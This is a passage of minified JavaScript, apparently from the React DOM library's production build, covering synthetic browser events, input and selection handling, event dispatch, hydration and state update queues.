0===e.relatedTarget?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==sn&&(sn&&"mousemove"===e.type?(rn=e.screenX-sn.screenX,on=e.screenY-sn.screenY):on=rn=0,sn=e),rn)},movementY:function(e){return"movementY"in e?e.movementY:on}}),hn=nn(fn),dn=nn(L({},fn,{dataTransfer:0})),pn=nn(L({},cn,{relatedTarget:0})),gn=nn(L({},an,{animationName:0,elapsedTime:0,pseudoElement:0})),yn=L({},an,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),vn=nn(yn),mn=nn(L({},an,{data:0})),_n={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},bn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},wn={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function En(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=wn[e])&&!!t[e]}function Sn(){return En}var On=L({},cn,{key:function(e){if(e.key){var t=_n[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=Zt(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?bn[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Sn,charCode:function(e){return"keypress"===e.type?Zt(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?Zt(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}}),xn=nn(On),In=nn(L({},fn,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),Rn=nn(L({},cn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Sn})),kn=nn(L({},an,{propertyName:0,elapsedTime:0,pseudoElement:0})),Cn=L({},fn,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Pn=nn(Cn),An=[9,13,27,32],Nn=a&&"CompositionEvent"in window,Tn=null;a&&"documentMode"in document&&(Tn=document.documentMode);var Mn=a&&"TextEvent"in window&&!Tn,Ln=a&&(!Nn||Tn&&8<Tn&&11>=Tn),jn=String.fromCharCode(32),Un=!1;function Dn(e,t){switch(e){case"keyup":return-1!==An.indexOf(t.keyCode);case"keydown":return 229!==t.keyCode;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function zn(e){return"object"==typeof(e=e.detail)&&"data"in e?e.data:null}var Fn=!1;var Bn={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Hn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!Bn[e.type]:"textarea"===t}function qn(e,t,n,r){Oe(r),0<(t=Vr(t,"onChange")).length&&(n=new un("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var Vn=null,$n=null;function Wn(e){jr(e,0)}function Kn(e){if($(mi(e)))return e}function Gn(e,t){if("change"===e)return t}var Yn=!1;if(a){var Qn;if(a){var Jn="oninput"in document;if(!Jn){var Xn=document.createElement("div");Xn.setAttribute("oninput","return;"),Jn="function"==typeof Xn.oninput}Qn=Jn}else Qn=!1;Yn=Qn&&(!document.documentMode||9<document.documentMode)}function Zn(){Vn&&(Vn.detachEvent("onpropertychange",er),$n=Vn=null)}function er(e){if("value"===e.propertyName&&Kn($n)){var t=[];qn(t,$n,e,_e(e)),Ce(Wn,t)}}function tr(e,t,n){"focusin"===e?(Zn(),$n=n,(Vn=t).attachEvent("onpropertychange",er)):"focusout"===e&&Zn()}function nr(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return Kn($n)}function rr(e,t){if("click"===e)return Kn(t)}function ir(e,t){if("input"===e||"change"===e)return Kn(t)}var or="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t};function sr(e,t){if(or(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!u.call(t,i)||!or(e[i],t[i]))return!1}return!0}function ar(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function ur(e,t){var n,r=ar(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=ar(r)}}function cr(e,t){return!(!e||!t)&&(e===t||(!e||3!==e.nodeType)&&(t&&3===t.nodeType?cr(e,t.parentNode):"contains"in e?e.contains(t):!!e.compareDocumentPosition&&!!(16&e.compareDocumentPosition(t))))}function lr(){for(var e=window,t=W();t instanceof e.HTMLIFrameElement;){try{var n="string"==typeof t.contentWindow.location.href}catch(e){n=!1}if(!n)break;t=W((e=t.contentWindow).document)}return t}function fr(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}function hr(e){var t=lr(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&cr(n.ownerDocument.documentElement,n)){if(null!==r&&fr(n))if(t=r.start,void 0===(e=r.end)&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if((e=(t=n.ownerDocument||document)&&t.defaultView||window).getSelection){e=e.getSelection();var i=n.textContent.length,o=Math.min(r.start,i);r=void 0===r.end?o:Math.min(r.end,i),!e.extend&&o>r&&(i=r,r=o,o=i),i=ur(n,o);var s=ur(n,r);i&&s&&(1!==e.rangeCount||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==s.node||e.focusOffset!==s.offset)&&((t=t.createRange()).setStart(i.node,i.offset),e.removeAllRanges(),o>r?(e.addRange(t),e.extend(s.node,s.offset)):(t.setEnd(s.node,s.offset),e.addRange(t)))}for(t=[],e=n;e=e.parentNode;)1===e.nodeType&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for("function"==typeof n.focus&&n.focus(),n=0;n<t.length;n++)(e=t[n]).element.scrollLeft=e.left,e.element.scrollTop=e.top}}var dr=a&&"documentMode"in document&&11>=document.documentMode,pr=null,gr=null,yr=null,vr=!1;function mr(e,t,n){var r=n.window===n?n.document:9===n.nodeType?n:n.ownerDocument;vr||null==pr||pr!==W(r)||("selectionStart"in(r=pr)&&fr(r)?r={start:r.selectionStart,end:r.selectionEnd}:r={anchorNode:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset},yr&&sr(yr,r)||(yr=r,0<(r=Vr(gr,"onSelect")).length&&(t=new un("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=pr)))}function _r(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var br={animationend:_r("Animation","AnimationEnd"),animationiteration:_r("Animation","AnimationIteration"),animationstart:_r("Animation","AnimationStart"),transitionend:_r("Transition","TransitionEnd")},wr={},Er={};function Sr(e){if(wr[e])return wr[e];if(!br[e])return e;var t,n=br[e];for(t in n)if(n.hasOwnProperty(t)&&t in Er)return wr[e]=n[t];return e}a&&(Er=document.createElement("div").style,"AnimationEvent"in window||(delete br.animationend.animation,delete br.animationiteration.animation,delete br.animationstart.animation),"TransitionEvent"in window||delete br.transitionend.transition);var Or=Sr("animationend"),xr=Sr("animationiteration"),Ir=Sr("animationstart"),Rr=Sr("transitionend"),kr=new Map,Cr="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function Pr(e,t){kr.set(e,t),o(t,[e])}for(var Ar=0;Ar<Cr.length;Ar++){var Nr=Cr[Ar];Pr(Nr.toLowerCase(),"on"+(Nr[0].toUpperCase()+Nr.slice(1)))}Pr(Or,"onAnimationEnd"),Pr(xr,"onAnimationIteration"),Pr(Ir,"onAnimationStart"),Pr("dblclick","onDoubleClick"),Pr("focusin","onFocus"),Pr("focusout","onBlur"),Pr(Rr,"onTransitionEnd"),s("onMouseEnter",["mouseout","mouseover"]),s("onMouseLeave",["mouseout","mouseover"]),s("onPointerEnter",["pointerout","pointerover"]),s("onPointerLeave",["pointerout","pointerover"]),o("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),o("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),o("onBeforeInput",["compositionend","keypress","textInput","paste"]),o("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),o("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),o("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var Tr="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Mr=new Set("cancel close invalid load scroll toggle".split(" ").concat(Tr));function Lr(e,t,r){var i=e.type||"unknown-event";e.currentTarget=r,function(e,t,r,i,o,s,a,u,c){if(ze.apply(this,arguments),Me){if(!Me)throw Error(n(198));var l=Le;Me=!1,Le=null,je||(je=!0,Ue=l)}}(i,t,void 0,e),e.currentTarget=null}function jr(e,t){t=0!=(4&t);for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;e:{var o=void 0;if(t)for(var s=r.length-1;0<=s;s--){var a=r[s],u=a.instance,c=a.currentTarget;if(a=a.listener,u!==o&&i.isPropagationStopped())break e;Lr(i,a,c),o=u}else for(s=0;s<r.length;s++){if(u=(a=r[s]).instance,c=a.currentTarget,a=a.listener,u!==o&&i.isPropagationStopped())break e;Lr(i,a,c),o=u}}}if(je)throw e=Ue,je=!1,Ue=null,e}function Ur(e,t){var n=t[di];void 0===n&&(n=t[di]=new Set);var r=e+"__bubble";n.has(r)||(Br(t,e,2,!1),n.add(r))}function Dr(e,t,n){var r=0;t&&(r|=4),Br(n,e,r,t)}var zr="_reactListening"+Math.random().toString(36).slice(2);function Fr(e){if(!e[zr]){e[zr]=!0,r.forEach((function(t){"selectionchange"!==t&&(Mr.has(t)||Dr(t,!1,e),Dr(t,!0,e))}));var t=9===e.nodeType?e:e.ownerDocument;null===t||t[zr]||(t[zr]=!0,Dr("selectionchange",!1,t))}}function Br(e,t,n,r){switch(Gt(t)){case 1:var i=qt;break;case 4:i=Vt;break;default:i=$t}n=i.bind(null,t,n,e),i=void 0,!Ae||"touchstart"!==t&&"touchmove"!==t&&"wheel"!==t||(i=!0),r?void 0!==i?e.addEventListener(t,n,{capture:!0,passive:i}):e.addEventListener(t,n,!0):void 0!==i?e.addEventListener(t,n,{passive:i}):e.addEventListener(t,n,!1)}function Hr(e,t,n,r,i){var o=r;if(0==(1&t)&&0==(2&t)&&null!==r)e:for(;;){if(null===r)return;var s=r.tag;if(3===s||4===s){var a=r.stateNode.containerInfo;if(a===i||8===a.nodeType&&a.parentNode===i)break;if(4===s)for(s=r.return;null!==s;){var u=s.tag;if((3===u||4===u)&&((u=s.stateNode.containerInfo)===i||8===u.nodeType&&u.parentNode===i))return;s=s.return}for(;null!==a;){if(null===(s=yi(a)))return;if(5===(u=s.tag)||6===u){r=o=s;continue e}a=a.parentNode}}r=r.return}Ce((function(){var r=o,i=_e(n),s=[];e:{var a=kr.get(e);if(void 0!==a){var u=un,c=e;switch(e){case"keypress":if(0===Zt(n))break e;case"keydown":case"keyup":u=xn;break;case"focusin":c="focus",u=pn;break;case"focusout":c="blur",u=pn;break;case"beforeblur":case"afterblur":u=pn;break;case"click":if(2===n.button)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":u=hn;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":u=dn;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":u=Rn;break;case Or:case xr:case Ir:u=gn;break;case Rr:u=kn;break;case"scroll":u=ln;break;case"wheel":u=Pn;break;case"copy":case"cut":case"paste":u=vn;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":u=In}var l=0!=(4&t),f=!l&&"scroll"===e,h=l?null!==a?a+"Capture":null:a;l=[];for(var d,p=r;null!==p;){var g=(d=p).stateNode;if(5===d.tag&&null!==g&&(d=g,null!==h&&(null!=(g=Pe(p,h))&&l.push(qr(p,g,d)))),f)break;p=p.return}0<l.length&&(a=new u(a,c,null,n,i),s.push({event:a,listeners:l}))}}if(0==(7&t)){if(u="mouseout"===e||"pointerout"===e,(!(a="mouseover"===e||"pointerover"===e)||n===me||!(c=n.relatedTarget||n.fromElement)||!yi(c)&&!c[hi])&&(u||a)&&(a=i.window===i?i:(a=i.ownerDocument)?a.defaultView||a.parentWindow:window,u?(u=r,null!==(c=(c=n.relatedTarget||n.toElement)?yi(c):null)&&(c!==(f=Fe(c))||5!==c.tag&&6!==c.tag)&&(c=null)):(u=null,c=r),u!==c)){if(l=hn,g="onMouseLeave",h="onMouseEnter",p="mouse","pointerout"!==e&&"pointerover"!==e||(l=In,g="onPointerLeave",h="onPointerEnter",p="pointer"),f=null==u?a:mi(u),d=null==c?a:mi(c),(a=new l(g,p+"leave",u,n,i)).target=f,a.relatedTarget=d,g=null,yi(i)===r&&((l=new l(h,p+"enter",c,n,i)).target=d,l.relatedTarget=f,g=l),f=g,u&&c)e:{for(h=c,p=0,d=l=u;d;d=$r(d))p++;for(d=0,g=h;g;g=$r(g))d++;for(;0<p-d;)l=$r(l),p--;for(;0<d-p;)h=$r(h),d--;for(;p--;){if(l===h||null!==h&&l===h.alternate)break e;l=$r(l),h=$r(h)}l=null}else l=null;null!==u&&Wr(s,a,u,l,!1),null!==c&&null!==f&&Wr(s,f,c,l,!0)}if("select"===(u=(a=r?mi(r):window).nodeName&&a.nodeName.toLowerCase())||"input"===u&&"file"===a.type)var y=Gn;else if(Hn(a))if(Yn)y=ir;else{y=nr;var v=tr}else(u=a.nodeName)&&"input"===u.toLowerCase()&&("checkbox"===a.type||"radio"===a.type)&&(y=rr);switch(y&&(y=y(e,r))?qn(s,y,n,i):(v&&v(e,a,r),"focusout"===e&&(v=a._wrapperState)&&v.controlled&&"number"===a.type&&X(a,"number",a.value)),v=r?mi(r):window,e){case"focusin":(Hn(v)||"true"===v.contentEditable)&&(pr=v,gr=r,yr=null);break;case"focusout":yr=gr=pr=null;break;case"mousedown":vr=!0;break;case"contextmenu":case"mouseup":case"dragend":vr=!1,mr(s,n,i);break;case"selectionchange":if(dr)break;case"keydown":case"keyup":mr(s,n,i)}var m;if(Nn)e:{switch(e){case"compositionstart":var _="onCompositionStart";break e;case"compositionend":_="onCompositionEnd";break e;case"compositionupdate":_="onCompositionUpdate";break e}_=void 0}else Fn?Dn(e,n)&&(_="onCompositionEnd"):"keydown"===e&&229===n.keyCode&&(_="onCompositionStart");_&&(Ln&&"ko"!==n.locale&&(Fn||"onCompositionStart"!==_?"onCompositionEnd"===_&&Fn&&(m=Xt()):(Qt="value"in(Yt=i)?Yt.value:Yt.textContent,Fn=!0)),0<(v=Vr(r,_)).length&&(_=new mn(_,e,null,n,i),s.push({event:_,listeners:v}),m?_.data=m:null!==(m=zn(n))&&(_.data=m))),(m=Mn?function(e,t){switch(e){case"compositionend":return zn(t);case"keypress":return 32!==t.which?null:(Un=!0,jn);case"textInput":return(e=t.data)===jn&&Un?null:e;default:return null}}(e,n):function(e,t){if(Fn)return"compositionend"===e||!Nn&&Dn(e,t)?(e=Xt(),Jt=Qt=Yt=null,Fn=!1,e):null;switch(e){case"paste":default:return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return Ln&&"ko"!==t.locale?null:t.data}}(e,n))&&(0<(r=Vr(r,"onBeforeInput")).length&&(i=new mn("onBeforeInput","beforeinput",null,n,i),s.push({event:i,listeners:r}),i.data=m))}jr(s,t)}))}function qr(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Vr(e,t){for(var n=t+"Capture",r=[];null!==e;){var i=e,o=i.stateNode;5===i.tag&&null!==o&&(i=o,null!=(o=Pe(e,n))&&r.unshift(qr(e,o,i)),null!=(o=Pe(e,t))&&r.push(qr(e,o,i))),e=e.return}return r}function $r(e){if(null===e)return null;do{e=e.return}while(e&&5!==e.tag);return e||null}function Wr(e,t,n,r,i){for(var o=t._reactName,s=[];null!==n&&n!==r;){var a=n,u=a.alternate,c=a.stateNode;if(null!==u&&u===r)break;5===a.tag&&null!==c&&(a=c,i?null!=(u=Pe(n,o))&&s.unshift(qr(n,u,a)):i||null!=(u=Pe(n,o))&&s.push(qr(n,u,a))),n=n.return}0!==s.length&&e.push({event:t,listeners:s})}var Kr=/\r\n?/g,Gr=/\u0000|\uFFFD/g;function Yr(e){return("string"==typeof e?e:""+e).replace(Kr,"\n").replace(Gr,"")}function Qr(e,t,r){if(t=Yr(t),Yr(e)!==t&&r)throw Error(n(425))}function Jr(){}var Xr=null,Zr=null;function ei(e,t){return"textarea"===e||"noscript"===e||"string"==typeof t.children||"number"==typeof t.children||"object"==typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&null!=t.dangerouslySetInnerHTML.__html}var ti="function"==typeof setTimeout?setTimeout:void 0,ni="function"==typeof clearTimeout?clearTimeout:void 0,ri="function"==typeof Promise?Promise:void 0,ii="function"==typeof queueMicrotask?queueMicrotask:void 0!==ri?function(e){return ri.resolve(null).then(e).catch(oi)}:ti;function oi(e){setTimeout((function(){throw e}))}function si(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&8===i.nodeType)if("/$"===(n=i.data)){if(0===r)return e.removeChild(i),void Ft(t);r--}else"$"!==n&&"$?"!==n&&"$!"!==n||r++;n=i}while(n);Ft(t)}function ai(e){for(;null!=e;e=e.nextSibling){var t=e.nodeType;if(1===t||3===t)break;if(8===t){if("$"===(t=e.data)||"$!"===t||"$?"===t)break;if("/$"===t)return null}}return e}function ui(e){e=e.previousSibling;for(var t=0;e;){if(8===e.nodeType){var n=e.data;if("$"===n||"$!"===n||"$?"===n){if(0===t)return e;t--}else"/$"===n&&t++}e=e.previousSibling}return null}var ci=Math.random().toString(36).slice(2),li="__reactFiber$"+ci,fi="__reactProps$"+ci,hi="__reactContainer$"+ci,di="__reactEvents$"+ci,pi="__reactListeners$"+ci,gi="__reactHandles$"+ci;function yi(e){var t=e[li];if(t)return t;for(var n=e.parentNode;n;){if(t=n[hi]||n[li]){if(n=t.alternate,null!==t.child||null!==n&&null!==n.child)for(e=ui(e);null!==e;){if(n=e[li])return n;e=ui(e)}return t}n=(e=n).parentNode}return null}function vi(e){return!(e=e[li]||e[hi])||5!==e.tag&&6!==e.tag&&13!==e.tag&&3!==e.tag?null:e}function mi(e){if(5===e.tag||6===e.tag)return e.stateNode;throw Error(n(33))}function _i(e){return e[fi]||null}var bi=[],wi=-1;function Ei(e){return{current:e}}function Si(e){0>wi||(e.current=bi[wi],bi[wi]=null,wi--)}function Oi(e,t){wi++,bi[wi]=e.current,e.current=t}var xi={},Ii=Ei(xi),Ri=Ei(!1),ki=xi;function Ci(e,t){var n=e.type.contextTypes;if(!n)return xi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i,o={};for(i in n)o[i]=t[i];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=o),o}function Pi(e){return null!=(e=e.childContextTypes)}function Ai(){Si(Ri),Si(Ii)}function Ni(e,t,r){if(Ii.current!==xi)throw Error(n(168));Oi(Ii,t),Oi(Ri,r)}function Ti(e,t,r){var i=e.stateNode;if(t=t.childContextTypes,"function"!=typeof i.getChildContext)return r;for(var o in i=i.getChildContext())if(!(o in t))throw Error(n(108,B(e)||"Unknown",o));return L({},r,i)}function Mi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||xi,ki=Ii.current,Oi(Ii,e),Oi(Ri,Ri.current),!0}function Li(e,t,r){var i=e.stateNode;if(!i)throw Error(n(169));r?(e=Ti(e,t,ki),i.__reactInternalMemoizedMergedChildContext=e,Si(Ri),Si(Ii),Oi(Ii,e)):Si(Ri),Oi(Ri,r)}var ji=null,Ui=!1,Di=!1;function zi(e){null===ji?ji=[e]:ji.push(e)}function Fi(){if(!Di&&null!==ji){Di=!0;var e=0,t=vt;try{var n=ji;for(vt=1;e<n.length;e++){var r=n[e];do{r=r(!0)}while(null!==r)}ji=null,Ui=!1}catch(t){throw null!==ji&&(ji=ji.slice(e+1)),$e(Je,Fi),t}finally{vt=t,Di=!1}}return null}var Bi=[],Hi=0,qi=null,Vi=0,$i=[],Wi=0,Ki=null,Gi=1,Yi="";function Qi(e,t){Bi[Hi++]=Vi,Bi[Hi++]=qi,qi=e,Vi=t}function Ji(e,t,n){$i[Wi++]=Gi,$i[Wi++]=Yi,$i[Wi++]=Ki,Ki=e;var r=Gi;e=Yi;var i=32-it(r)-1;r&=~(1<<i),n+=1;var o=32-it(t)+i;if(30<o){var s=i-i%5;o=(r&(1<<s)-1).toString(32),r>>=s,i-=s,Gi=1<<32-it(t)+i|n<<i|r,Yi=o+e}else Gi=1<<o|n<<i|r,Yi=e}function Xi(e){null!==e.return&&(Qi(e,1),Ji(e,1,0))}function Zi(e){for(;e===qi;)qi=Bi[--Hi],Bi[Hi]=null,Vi=Bi[--Hi],Bi[Hi]=null;for(;e===Ki;)Ki=$i[--Wi],$i[Wi]=null,Yi=$i[--Wi],$i[Wi]=null,Gi=$i[--Wi],$i[Wi]=null}var eo=null,to=null,no=!1,ro=null;function io(e,t){var n=Tc(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,null===(t=e.deletions)?(e.deletions=[n],e.flags|=16):t.push(n)}function oo(e,t){switch(e.tag){case 5:var n=e.type;return null!==(t=1!==t.nodeType||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t)&&(e.stateNode=t,eo=e,to=ai(t.firstChild),!0);case 6:return null!==(t=""===e.pendingProps||3!==t.nodeType?null:t)&&(e.stateNode=t,eo=e,to=null,!0);case 13:return null!==(t=8!==t.nodeType?null:t)&&(n=null!==Ki?{id:Gi,overflow:Yi}:null,e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},(n=Tc(18,null,null,0)).stateNode=t,n.return=e,e.child=n,eo=e,to=null,!0);default:return!1}}function so(e){return 0!=(1&e.mode)&&0==(128&e.flags)}function ao(e){if(no){var t=to;if(t){var r=t;if(!oo(e,t)){if(so(e))throw Error(n(418));t=ai(r.nextSibling);var i=eo;t&&oo(e,t)?io(i,r):(e.flags=-4097&e.flags|2,no=!1,eo=e)}}else{if(so(e))throw Error(n(418));e.flags=-4097&e.flags|2,no=!1,eo=e}}}function uo(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;eo=e}function co(e){if(e!==eo)return!1;if(!no)return uo(e),no=!0,!1;var t;if((t=3!==e.tag)&&!(t=5!==e.tag)&&(t="head"!==(t=e.type)&&"body"!==t&&!ei(e.type,e.memoizedProps)),t&&(t=to)){if(so(e))throw lo(),Error(n(418));for(;t;)io(e,t),t=ai(t.nextSibling)}if(uo(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(n(317));e:{for(e=e.nextSibling,t=0;e;){if(8===e.nodeType){var r=e.data;if("/$"===r){if(0===t){to=ai(e.nextSibling);break e}t--}else"$"!==r&&"$!"!==r&&"$?"!==r||t++}e=e.nextSibling}to=null}}else to=eo?ai(e.stateNode.nextSibling):null;return!0}function lo(){for(var e=to;e;)e=ai(e.nextSibling)}function fo(){to=eo=null,no=!1}function ho(e){null===ro?ro=[e]:ro.push(e)}var po=v.ReactCurrentBatchConfig;function go(e,t){if(e&&e.defaultProps){for(var n in t=L({},t),e=e.defaultProps)void 0===t[n]&&(t[n]=e[n]);return t}return t}var yo=Ei(null),vo=null,mo=null,_o=null;function bo(){_o=mo=vo=null}function wo(e){var t=yo.current;Si(yo),e._currentValue=t}function Eo(e,t,n){for(;null!==e;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,null!==r&&(r.childLanes|=t)):null!==r&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function So(e,t){vo=e,_o=mo=null,null!==(e=e.dependencies)&&null!==e.firstContext&&(0!=(e.lanes&t)&&(wa=!0),e.firstContext=null)}function Oo(e){var t=e._currentValue;if(_o!==e)if(e={context:e,memoizedValue:t,next:null},null===mo){if(null===vo)throw Error(n(308));mo=e,vo.dependencies={lanes:0,firstContext:e}}else mo=mo.next=e;return t}var xo=null;function Io(e){null===xo?xo=[e]:xo.push(e)}function Ro(e,t,n,r){var i=t.interleaved;return null===i?(n.next=n,Io(t)):(n.next=i.next,i.next=n),t.interleaved=n,ko(e,r)}function ko(e,t){e.lanes|=t;var n=e.alternate;for(null!==n&&(n.lanes|=t),n=e,e=e.return;null!==e;)e.childLanes|=t,null!==(n=e.alternate)&&(n.childLanes|=t),n=e,e=e.return;return 3===n.tag?n.stateNode:null}var Co=!1;function Po(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Ao(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function No(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function To(e,t,n){var r=e.updateQueue;if(null===r)return null;if(r=r.shared,0!=(2&Pu)){var i=r.pending;return null===i?t.next=t:(t.next=i.next,i.next=t),r.pending=t,ko(e,n)}return null===(i=r.interleaved)?(t.next=t,Io(r)):(t.next=i.next,i.next=t),r.interleaved=t,ko(e,n)}function Mo(e,t,n){if(null!==(t=t.updateQueue)&&(t=t.shared,0!=(4194240&n))){var r=t.lanes;n|=r&=e.pendingLanes,t.lanes=n,yt(e,n)}}function Lo(e,t){var n=e.updateQueue,r=e.alternate;if(null!==r&&n===(r=r.updateQueue)){var i=null,o=null;if(null!==(n=n.firstBaseUpdate)){do{var s={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};null===o?i=o=s:o=o.next=s,n=n.next}while(null!==n);null===o?i=o=t:o=o.next=t}else i=o=t;return n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:o,shared:r.shared,effects:r.effects},void(e.updateQueue=n)}null===(e=n.lastBaseUpdate)?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function jo(e,t,n,r){var i=e.updateQueue;Co=!1;var o=i.firstBaseUpdate,s=i.lastBaseUpdate,a=i.shared.pending;if(null!==a){i.shared.pending=null;var u=a,c=u.next;u.next=null,null===s?o=c:s.next=c,s=u;var l=e.alternate;null!==l&&((a=(l=l.updateQueue).lastBaseUpdate)!==s&&(null===a?l.firstBaseUpdate=c:a.next=c,l.lastBaseUpdate=u))}if(null!==o){var f=i.baseState;for(s=0,l=c=u=null,a=o;;){var h=a.lane,d=a.eventTime;if((r&h)===h){null!==l&&(l=l.next={eventTime:d,lane:0,tag:a.tag,payload:a.payload,callback:a.callback,next:null});e:{var p=e,g=a;switch(h=t,d=n,g.tag){case 1:if("function"==typeof(p=g.payload)){f=p.call(d,f,h);break e}f=p;break e;case 3:p.flags=-65537&p.flags|128;case 0:if(null==(h="function"==typeof(p=g.payload)?p.call(d,f,h):p))break e;f=L({},f,h);break e;case 2:Co=!0}}null!==a.callback&&0!==a.lane&&(e.flags|=64,null===(h=i.effects)?i.effects=[a]:h.push(a))}else 